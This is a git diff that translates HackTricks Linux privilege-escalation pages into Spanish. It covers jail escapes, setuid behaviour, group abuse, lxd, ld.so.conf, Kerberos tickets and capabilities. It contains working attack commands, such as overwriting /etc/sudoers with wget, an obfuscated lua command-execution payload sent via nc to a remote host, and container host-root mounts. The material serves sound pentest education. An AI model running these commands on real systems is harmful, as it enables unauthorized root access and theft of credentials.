ejemplo](linux-capabilities.md#cap_sys_ptrace)). ## Bash Jails ### Enumeration -Get info about the jail: - +Obtén información sobre la cárcel: ```bash echo $SHELL echo $PATH @@ -171,65 +162,52 @@ env export pwd ``` +### Modificar PATH -### Modify PATH - -Check if you can modify the PATH env variable - +Verifica si puedes modificar la variable de entorno PATH ```bash echo $PATH #See the path of the executables that you can use PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path echo /home/* #List directory ``` - -### Using vim - +### Usando vim ```bash :set shell=/bin/sh :shell ``` +### Crear script -### Create script - -Check if you can create an executable file with _/bin/bash_ as content - +Verifica si puedes crear un archivo ejecutable con _/bin/bash_ como contenido ```bash red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` +### Obtener bash desde SSH -### Get bash from SSH - -If you are accessing via ssh you can use this trick to execute a bash shell: - +Si estás accediendo a través de ssh, puedes usar este truco para ejecutar un shell bash: ```bash ssh -t user@ bash # Get directly an interactive shell ssh user@ -t "bash --noprofile -i" ssh user@ -t "() { :; }; sh -i " ``` - -### Declare - +### Declarar ```bash declare -n PATH; export PATH=/bin;bash -i BASH_CMDS[shell]=/bin/bash;shell -i ``` - ### Wget -You can overwrite for example sudoers file - +Puedes sobrescribir, por ejemplo, el archivo sudoers. ```bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` - -### Other tricks +### Otros trucos [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ [https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ [https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)\ -**It could also be interesting the page:** +**También podría ser interesante la página:** {{#ref}} ../bypass-bash-restrictions/ @@ -237,7 +215,7 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ## Python Jails -Tricks about escaping from python jails in the following page: +Trucos sobre cómo escapar de los python jails en la siguiente página: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ @@ -245,29 +223,22 @@ Tricks about escaping from python jails in the following page: ## Lua Jails -In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) - -**Eval with command execution:** +En esta página puedes encontrar las funciones globales a las que tienes acceso dentro de lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) +**Eval con ejecución de comandos:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` - -Some tricks to **call functions of a library without using dots**: - +Algunos trucos para **llamar funciones de una biblioteca sin usar puntos**: ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) ``` - -Enumerate functions of a library: - +Enumerar funciones de una biblioteca: ```bash for k,v in pairs(string) do print(k,v) end ``` - -Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library: - +Ten en cuenta que cada vez que ejecutas la línea de comando anterior en un **entorno lua diferente, el orden de las funciones cambia**. Por lo tanto, si necesitas ejecutar una función específica, puedes realizar un ataque de fuerza bruta cargando diferentes entornos lua y llamando a la primera función de la biblioteca: ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky @@ -278,15 +249,12 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` - -**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling: - +**Obtener una shell lua interactiva**: Si estás dentro de una shell lua limitada, puedes obtener una nueva shell lua (y con suerte ilimitada) llamando: ```bash debug.debug() ``` +## Referencias -## References - -- [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions\_-_Bucsay_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)) +- [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Diapositivas: [https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions\_-_Bucsay_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/euid-ruid-suid.md b/src/linux-hardening/privilege-escalation/euid-ruid-suid.md index f9846b44b..abe05f3cb 100644 --- a/src/linux-hardening/privilege-escalation/euid-ruid-suid.md +++ b/src/linux-hardening/privilege-escalation/euid-ruid-suid.md @@ -2,88 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +### Variables de Identificación de Usuario -{% embed url="https://academy.8ksec.io/" %} +- **`ruid`**: El **ID de usuario real** denota al usuario que inició el proceso. +- **`euid`**: Conocido como el **ID de usuario efectivo**, representa la identidad del usuario utilizada por el sistema para determinar los privilegios del proceso. Generalmente, `euid` refleja `ruid`, salvo en instancias como la ejecución de un binario SetUID, donde `euid` asume la identidad del propietario del archivo, otorgando así permisos operativos específicos. +- **`suid`**: Este **ID de usuario guardado** es fundamental cuando un proceso de alto privilegio (normalmente ejecutándose como root) necesita renunciar temporalmente a sus privilegios para realizar ciertas tareas, solo para luego recuperar su estado elevado inicial. -### User Identification Variables +#### Nota Importante -- **`ruid`**: The **real user ID** denotes the user who initiated the process. -- **`euid`**: Known as the **effective user ID**, it represents the user identity utilized by the system to ascertain process privileges. Generally, `euid` mirrors `ruid`, barring instances like a SetUID binary execution, where `euid` assumes the file owner's identity, thus granting specific operational permissions. -- **`suid`**: This **saved user ID** is pivotal when a high-privilege process (typically running as root) needs to temporarily relinquish its privileges to perform certain tasks, only to later reclaim its initial elevated status. +Un proceso que no opera bajo root solo puede modificar su `euid` para que coincida con el `ruid`, `euid` o `suid` actuales. -#### Important Note +### Entendiendo las Funciones set\*uid -A process not operating under root can only modify its `euid` to match the current `ruid`, `euid`, or `suid`. +- **`setuid`**: Contrario a las suposiciones iniciales, `setuid` modifica principalmente `euid` en lugar de `ruid`. Específicamente, para procesos privilegiados, alinea `ruid`, `euid` y `suid` con el usuario especificado, a menudo root, solidificando efectivamente estos IDs debido al `suid` que prevalece. Se pueden encontrar detalles en la [página del manual de setuid](https://man7.org/linux/man-pages/man2/setuid.2.html). +- **`setreuid`** y **`setresuid`**: Estas funciones permiten el ajuste matizado de `ruid`, `euid` y `suid`. Sin embargo, sus capacidades dependen del nivel de privilegio del proceso. Para procesos que no son root, las modificaciones están restringidas a los valores actuales de `ruid`, `euid` y `suid`. En contraste, los procesos root o aquellos con la capacidad `CAP_SETUID` pueden asignar valores arbitrarios a estos IDs. Se puede obtener más información de la [página del manual de setresuid](https://man7.org/linux/man-pages/man2/setresuid.2.html) y de la [página del manual de setreuid](https://man7.org/linux/man-pages/man2/setreuid.2.html). -### Understanding set\*uid Functions +Estas funcionalidades están diseñadas no como un mecanismo de seguridad, sino para facilitar el flujo operativo previsto, como cuando un programa adopta la identidad de otro usuario al alterar su ID de usuario efectivo. -- **`setuid`**: Contrary to initial assumptions, `setuid` primarily modifies `euid` rather than `ruid`. Specifically, for privileged processes, it aligns `ruid`, `euid`, and `suid` with the specified user, often root, effectively solidifying these IDs due to the overriding `suid`. Detailed insights can be found in the [setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html). -- **`setreuid`** and **`setresuid`**: These functions allow for the nuanced adjustment of `ruid`, `euid`, and `suid`. However, their capabilities are contingent on the process's privilege level. For non-root processes, modifications are restricted to the current values of `ruid`, `euid`, and `suid`. In contrast, root processes or those with `CAP_SETUID` capability can assign arbitrary values to these IDs. More information can be gleaned from the [setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) and the [setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html). +Notablemente, aunque `setuid` puede ser una opción común para la elevación de privilegios a root (ya que alinea todos los IDs a root), diferenciar entre estas funciones es crucial para entender y manipular los comportamientos de los IDs de usuario en diferentes escenarios. -These functionalities are designed not as a security mechanism but to facilitate the intended operational flow, such as when a program adopts another user's identity by altering its effective user ID. +### Mecanismos de Ejecución de Programas en Linux -Notably, while `setuid` might be a common go-to for privilege elevation to root (since it aligns all IDs to root), differentiating between these functions is crucial for understanding and manipulating user ID behaviors in varying scenarios. +#### **Llamada al Sistema `execve`** -### Program Execution Mechanisms in Linux +- **Funcionalidad**: `execve` inicia un programa, determinado por el primer argumento. Toma dos argumentos de matriz, `argv` para argumentos y `envp` para el entorno. +- **Comportamiento**: Retiene el espacio de memoria del llamador pero actualiza la pila, el montón y los segmentos de datos. El código del programa es reemplazado por el nuevo programa. +- **Preservación del ID de Usuario**: +- `ruid`, `euid` y los IDs de grupo suplementarios permanecen sin cambios. +- `euid` puede tener cambios matizados si el nuevo programa tiene el bit SetUID establecido. +- `suid` se actualiza desde `euid` después de la ejecución. +- **Documentación**: Se puede encontrar información detallada en la [página del manual de `execve`](https://man7.org/linux/man-pages/man2/execve.2.html). -#### **`execve` System Call** +#### **Función `system`** -- **Functionality**: `execve` initiates a program, determined by the first argument. It takes two array arguments, `argv` for arguments and `envp` for the environment. -- **Behavior**: It retains the memory space of the caller but refreshes the stack, heap, and data segments. The program's code is replaced by the new program. -- **User ID Preservation**: - - `ruid`, `euid`, and supplementary group IDs remain unaltered. - - `euid` might have nuanced changes if the new program has the SetUID bit set. - - `suid` gets updated from `euid` post-execution. -- **Documentation**: Detailed information can be found on the [`execve` man page](https://man7.org/linux/man-pages/man2/execve.2.html). +- **Funcionalidad**: A diferencia de `execve`, `system` crea un proceso hijo utilizando `fork` y ejecuta un comando dentro de ese proceso hijo utilizando `execl`. +- **Ejecución de Comandos**: Ejecuta el comando a través de `sh` con `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`. +- **Comportamiento**: Como `execl` es una forma de `execve`, opera de manera similar pero en el contexto de un nuevo proceso hijo. +- **Documentación**: Se pueden obtener más detalles de la [página del manual de `system`](https://man7.org/linux/man-pages/man3/system.3.html). -#### **`system` Function** - -- **Functionality**: Unlike `execve`, `system` creates a child process using `fork` and executes a command within that child process using `execl`. -- **Command Execution**: Executes the command via `sh` with `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`. -- **Behavior**: As `execl` is a form of `execve`, it operates similarly but in the context of a new child process. -- **Documentation**: Further insights can be obtained from the [`system` man page](https://man7.org/linux/man-pages/man3/system.3.html). - -#### **Behavior of `bash` and `sh` with SUID** +#### **Comportamiento de `bash` y `sh` con SUID** - **`bash`**: - - Has a `-p` option influencing how `euid` and `ruid` are treated. - - Without `-p`, `bash` sets `euid` to `ruid` if they initially differ. - - With `-p`, the initial `euid` is preserved. - - More details can be found on the [`bash` man page](https://linux.die.net/man/1/bash). +- Tiene una opción `-p` que influye en cómo se tratan `euid` y `ruid`. +- Sin `-p`, `bash` establece `euid` a `ruid` si inicialmente difieren. +- Con `-p`, se preserva el `euid` inicial. +- Se pueden encontrar más detalles en la [página del manual de `bash`](https://linux.die.net/man/1/bash). - **`sh`**: - - Does not possess a mechanism similar to `-p` in `bash`. - - The behavior concerning user IDs is not explicitly mentioned, except under the `-i` option, emphasizing the preservation of `euid` and `ruid` equality. - - Additional information is available on the [`sh` man page](https://man7.org/linux/man-pages/man1/sh.1p.html). +- No posee un mecanismo similar a `-p` en `bash`. +- El comportamiento respecto a los IDs de usuario no se menciona explícitamente, excepto bajo la opción `-i`, enfatizando la preservación de la igualdad entre `euid` y `ruid`. +- Información adicional está disponible en la [página del manual de `sh`](https://man7.org/linux/man-pages/man1/sh.1p.html). -These mechanisms, distinct in their operation, offer a versatile range of options for executing and transitioning between programs, with specific nuances in how user IDs are managed and preserved. +Estos mecanismos, distintos en su operación, ofrecen una gama versátil de opciones para ejecutar y transitar entre programas, con matices específicos en cómo se gestionan y preservan los IDs de usuario. -### Testing User ID Behaviors in Executions +### Pruebas de Comportamientos de ID de Usuario en Ejecuciones -Examples taken from https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, check it for further information +Ejemplos tomados de https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, consúltalo para más información -#### Case 1: Using `setuid` with `system` +#### Caso 1: Usando `setuid` con `system` -**Objective**: Understanding the effect of `setuid` in combination with `system` and `bash` as `sh`. - -**C Code**: +**Objetivo**: Entender el efecto de `setuid` en combinación con `system` y `bash` como `sh`. +**Código C**: ```c #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - system("id"); - return 0; +setuid(1000); +system("id"); +return 0; } ``` - -**Compilation and Permissions:** - +**Compilación y Permisos:** ```bash oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a; oxdf@hacky$ chmod 4755 /mnt/nfsshare/a @@ -93,132 +85,108 @@ oxdf@hacky$ chmod 4755 /mnt/nfsshare/a bash-4.2$ $ ./a uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Análisis:** -**Analysis:** +- `ruid` y `euid` comienzan como 99 (nadie) y 1000 (frank) respectivamente. +- `setuid` alinea ambos a 1000. +- `system` ejecuta `/bin/bash -c id` debido al symlink de sh a bash. +- `bash`, sin `-p`, ajusta `euid` para que coincida con `ruid`, resultando en que ambos sean 99 (nadie). -- `ruid` and `euid` start as 99 (nobody) and 1000 (frank) respectively. -- `setuid` aligns both to 1000. -- `system` executes `/bin/bash -c id` due to the symlink from sh to bash. -- `bash`, without `-p`, adjusts `euid` to match `ruid`, resulting in both being 99 (nobody). - -#### Case 2: Using setreuid with system - -**C Code**: +#### Caso 2: Usando setreuid con system +**Código C**: ```c #define _GNU_SOURCE #include #include int main(void) { - setreuid(1000, 1000); - system("id"); - return 0; +setreuid(1000, 1000); +system("id"); +return 0; } ``` - -**Compilation and Permissions:** - +**Compilación y Permisos:** ```bash oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b ``` - -**Execution and Result:** - +**Ejecución y Resultado:** ```bash bash-4.2$ $ ./b uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Análisis:** -**Analysis:** +- `setreuid` establece tanto ruid como euid en 1000. +- `system` invoca bash, que mantiene los IDs de usuario debido a su igualdad, operando efectivamente como frank. -- `setreuid` sets both ruid and euid to 1000. -- `system` invokes bash, which maintains the user IDs due to their equality, effectively operating as frank. - -#### Case 3: Using setuid with execve - -Objective: Exploring the interaction between setuid and execve. +#### Caso 3: Usando setuid con execve +Objetivo: Explorar la interacción entre setuid y execve. ```bash #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/usr/bin/id", NULL, NULL); - return 0; +setuid(1000); +execve("/usr/bin/id", NULL, NULL); +return 0; } ``` - -**Execution and Result:** - +**Ejecución y Resultado:** ```bash bash-4.2$ $ ./c uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Análisis:** -**Analysis:** - -- `ruid` remains 99, but euid is set to 1000, in line with setuid's effect. - -**C Code Example 2 (Calling Bash):** +- `ruid` permanece en 99, pero euid se establece en 1000, en línea con el efecto de setuid. +**Ejemplo de Código C 2 (Llamando a Bash):** ```bash #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/bin/bash", NULL, NULL); - return 0; +setuid(1000); +execve("/bin/bash", NULL, NULL); +return 0; } ``` - -**Execution and Result:** - +**Ejecución y Resultado:** ```bash bash-4.2$ $ ./d bash-4.2$ $ id uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Análisis:** -**Analysis:** - -- Although `euid` is set to 1000 by `setuid`, `bash` resets euid to `ruid` (99) due to the absence of `-p`. - -**C Code Example 3 (Using bash -p):** +- Aunque `euid` está configurado a 1000 por `setuid`, `bash` restablece `euid` a `ruid` (99) debido a la ausencia de `-p`. +**Ejemplo de código C 3 (Usando bash -p):** ```bash #define _GNU_SOURCE #include #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - setuid(1000); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +setuid(1000); +execve(paramList[0], paramList, NULL); +return 0; } ``` - -**Execution and Result:** - +**Ejecución y Resultado:** ```bash bash-4.2$ $ ./e bash-4.2$ $ id uid=99(nobody) gid=99(nobody) euid=100 ``` - -## References +## Referencias - [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 0ef45269f..eaa3b0dcf 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -56,7 +56,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ``` ## Grupo Wheel -**A veces**, **por defecto** dentro del **/etc/sudoers** archivo puedes encontrar esta línea: +**A veces**, **por defecto** dentro del **/etc/sudoers** puedes encontrar esta línea: ``` %wheel ALL=(ALL:ALL) ALL ``` @@ -88,7 +88,7 @@ $ echo $PATH ``` Si podemos secuestrar algunos programas en `/usr/local`, podemos obtener fácilmente acceso root. -Secuestrar el programa `run-parts` es una forma fácil de obtener acceso root, porque la mayoría de los programas ejecutarán un `run-parts` como (crontab, al iniciar sesión por ssh). +Secuestrar el programa `run-parts` es una forma fácil de obtener acceso root, porque la mayoría de los programas ejecutarán un `run-parts` como (crontab, cuando se inicia sesión por ssh). ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -163,11 +163,11 @@ El **grupo de video** tiene acceso para ver la salida de la pantalla. Básicamen cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el \*\*`screen.raw`\*\* y seleccionar como tipo de archivo **Datos de imagen en bruto**: +Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el archivo **`screen.raw`** y seleccionar como tipo de archivo **Datos de imagen en bruto**: ![](<../../../images/image (463).png>) -Luego modifica el Ancho y Alto a los que se usaron en la pantalla y verifica diferentes Tipos de Imagen (y selecciona el que muestre mejor la pantalla): +Luego modifica el Ancho y Alto a los que se usan en la pantalla y verifica diferentes Tipos de Imagen (y selecciona el que muestre mejor la pantalla): ![](<../../../images/image (317).png>) @@ -213,7 +213,7 @@ Si tienes permisos de escritura sobre el socket de docker, lee [**esta publicaci ## Grupo Adm -Por lo general, **los miembros** del grupo **`adm`** tienen permisos para **leer archivos de registro** ubicados dentro de _/var/log/_.\ +Por lo general, los **miembros** del grupo **`adm`** tienen permisos para **leer archivos de registro** ubicados dentro de _/var/log/_.\ Por lo tanto, si has comprometido a un usuario dentro de este grupo, definitivamente deberías **mirar los registros**. ## Grupo Auth diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index d8710b8cd..c8c6d2bec 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -52,7 +52,7 @@ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=t > Si encuentras este error _**Error: No se encontró ningún grupo de almacenamiento. Por favor, crea un nuevo grupo de almacenamiento**_\ > Ejecuta **`lxd init`** y **repite** el bloque anterior de comandos -Finalmente puedes ejecutar el contenedor y obtener root: +Finalmente, puedes ejecutar el contenedor y obtener root: ```bash lxc start privesc lxc exec privesc /bin/sh diff --git a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md index cc82d2aba..de26d4603 100644 --- a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -105,13 +105,13 @@ ubuntu ### Otras malas configuraciones - Misma vulnerabilidad En el ejemplo anterior simulamos una mala configuración donde un administrador **estableció una carpeta no privilegiada dentro de un archivo de configuración dentro de `/etc/ld.so.conf.d/`**.\ -Pero hay otras malas configuraciones que pueden causar la misma vulnerabilidad, si tiene **permisos de escritura** en algún **archivo de configuración** dentro de `/etc/ld.so.conf.d`, en la carpeta `/etc/ld.so.conf.d` o en el archivo `/etc/ld.so.conf` puede configurar la misma vulnerabilidad y explotarla. +Pero hay otras malas configuraciones que pueden causar la misma vulnerabilidad; si tiene **permisos de escritura** en algún **archivo de configuración** dentro de `/etc/ld.so.conf.d`, en la carpeta `/etc/ld.so.conf.d` o en el archivo `/etc/ld.so.conf`, puede configurar la misma vulnerabilidad y explotarla. ## Exploit 2 **Suponga que tiene privilegios de sudo sobre `ldconfig`**.\ Puede indicar a `ldconfig` **dónde cargar los archivos de configuración**, así que podemos aprovechar esto para hacer que `ldconfig` cargue carpetas arbitrarias.\ -Así que, vamos a crear los archivos y carpetas necesarios para cargar "/tmp": +Entonces, vamos a crear los archivos y carpetas necesarios para cargar "/tmp": ```bash cd /tmp echo "include /tmp/conf/*" > fake.ld.so.conf diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index fb50b3654..0acbeb9a1 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -20,7 +20,7 @@ También puedes consultar la siguiente página para aprender **otras formas de e ### FreeIPA -FreeIPA es una **alternativa** de código abierto a **Active Directory** de Microsoft, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utiliza el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, y soporta autenticación **multi-factor**, incluyendo tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. Aprende más sobre ello en: +FreeIPA es una **alternativa** de código abierto a Microsoft Windows **Active Directory**, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un centro de distribución de claves **Kerberos** de MIT para la gestión similar a Active Directory. Utiliza el **Sistema de Certificados Dogtag** para la gestión de certificados CA y RA, y admite autenticación **multifactor**, incluyendo tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. Aprende más sobre ello en: {{#ref}} ../freeipa-pentesting.md @@ -38,7 +38,7 @@ En esta página encontrarás diferentes lugares donde podrías **encontrar ticke ### Reutilización de tickets CCACHE desde /tmp -Los archivos CCACHE son formatos binarios para **almacenar credenciales Kerberos** que generalmente se almacenan con permisos 600 en `/tmp`. Estos archivos pueden ser identificados por su **formato de nombre, `krb5cc_%{uid}`,** que correlaciona con el UID del usuario. Para la verificación del ticket de autenticación, la **variable de entorno `KRB5CCNAME`** debe ser configurada con la ruta del archivo de ticket deseado, permitiendo su reutilización. +Los archivos CCACHE son formatos binarios para **almacenar credenciales Kerberos** que generalmente se almacenan con permisos 600 en `/tmp`. Estos archivos pueden ser identificados por su **formato de nombre, `krb5cc_%{uid}`,** que corresponde al UID del usuario. Para la verificación del ticket de autenticación, la **variable de entorno `KRB5CCNAME`** debe establecerse en la ruta del archivo de ticket deseado, permitiendo su reutilización. Lista el ticket actual utilizado para la autenticación con `env | grep KRB5CCNAME`. El formato es portátil y el ticket puede ser **reutilizado configurando la variable de entorno** con `export KRB5CCNAME=/tmp/ticket.ccache`. El formato del nombre del ticket Kerberos es `krb5cc_%{uid}` donde uid es el UID del usuario. ```bash @@ -81,7 +81,7 @@ klist -k /etc/krb5.keytab ``` ### Extraer cuentas de /etc/krb5.keytab -Las claves de cuentas de servicio, esenciales para los servicios que operan con privilegios de root, se almacenan de forma segura en los archivos **`/etc/krb5.keytab`**. Estas claves, similares a contraseñas para servicios, requieren estricta confidencialidad. +Las claves de cuentas de servicio, esenciales para los servicios que operan con privilegios de root, se almacenan de forma segura en los archivos **`/etc/krb5.keytab`**. Estas claves, similares a contraseñas para servicios, exigen estricta confidencialidad. Para inspeccionar el contenido del archivo keytab, se puede emplear **`klist`**. La herramienta está diseñada para mostrar detalles de la clave, incluyendo el **NT Hash** para la autenticación de usuarios, particularmente cuando el tipo de clave se identifica como 23. ```bash diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index 1428bd239..39b6132e6 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -23,7 +23,7 @@ Las capacidades de Linux dividen **los privilegios de root en unidades más pequ - **Propósito**: Representa las capacidades reales que un proceso está utilizando en cualquier momento. - **Funcionalidad**: Es el conjunto de capacidades verificadas por el kernel para otorgar permiso para varias operaciones. Para los archivos, este conjunto puede ser una bandera que indica si las capacidades permitidas del archivo deben considerarse efectivas. -- **Significado**: El conjunto efectivo es crucial para las verificaciones de privilegios inmediatos, actuando como el conjunto activo de capacidades que un proceso puede usar. +- **Significado**: El conjunto efectivo es crucial para las verificaciones de privilegios inmediatas, actuando como el conjunto activo de capacidades que un proceso puede usar. 3. **Permitidas (CapPrm)**: @@ -105,7 +105,7 @@ Aunque eso funciona, hay otra forma más fácil. Para ver las capacidades de un ```bash getpcaps 1234 ``` -Vamos a verificar aquí las capacidades de `tcpdump` después de haberle otorgado al binario suficientes capacidades (`cap_net_admin` y `cap_net_raw`) para espiar la red (_tcpdump se está ejecutando en el proceso 9562_): +Verifiquemos aquí las capacidades de `tcpdump` después de haberle otorgado al binario suficientes capacidades (`cap_net_admin` y `cap_net_raw`) para espiar la red (_tcpdump se está ejecutando en el proceso 9562_): ```bash #The following command give tcpdump the needed capabilities to sniff traffic $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump @@ -158,7 +158,7 @@ setcap -r ## Capacidades de Usuario Aparentemente **es posible asignar capacidades también a los usuarios**. Esto probablemente significa que cada proceso ejecutado por el usuario podrá utilizar las capacidades del usuario.\ -Basado en [esto](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [esto](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) y [esto](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), se deben configurar algunos archivos nuevos para otorgar a un usuario ciertas capacidades, pero el que asigna las capacidades a cada usuario será `/etc/security/capability.conf`.\ +Basado en [esto](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [esto](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) y [esto](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), se deben configurar algunos archivos para otorgar a un usuario ciertas capacidades, pero el que asigna las capacidades a cada usuario será `/etc/security/capability.conf`.\ Ejemplo de archivo: ```bash # Simple @@ -271,13 +271,13 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` -Dentro del **bash ejecutado por el binario de ambiente compilado** es posible observar las **nuevas capacidades** (un usuario regular no tendrá ninguna capacidad en la sección "actual"). +Dentro del **bash ejecutado por el binario ambiental compilado** es posible observar las **nuevas capacidades** (un usuario regular no tendrá ninguna capacidad en la sección "actual"). ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ``` > [!CAUTION] -> Solo puedes **agregar capacidades que estén presentes** en ambos conjuntos, el permitido y el heredable. +> Solo puedes **agregar capacidades que estén presentes** tanto en el conjunto permitido como en el conjunto heredable. ### Binarios conscientes de capacidades / Binarios tontos en capacidades @@ -286,7 +286,7 @@ Los **binarios conscientes de capacidades no usarán las nuevas capacidades** ot ## Capacidades del servicio Por defecto, un **servicio que se ejecuta como root tendrá asignadas todas las capacidades**, y en algunas ocasiones esto puede ser peligroso.\ -Por lo tanto, un archivo de **configuración del servicio** permite **especificar** las **capacidades** que deseas que tenga, **y** el **usuario** que debería ejecutar el servicio para evitar ejecutar un servicio con privilegios innecesarios: +Por lo tanto, un **archivo de configuración del servicio** permite **especificar** las **capacidades** que deseas que tenga, **y** el **usuario** que debería 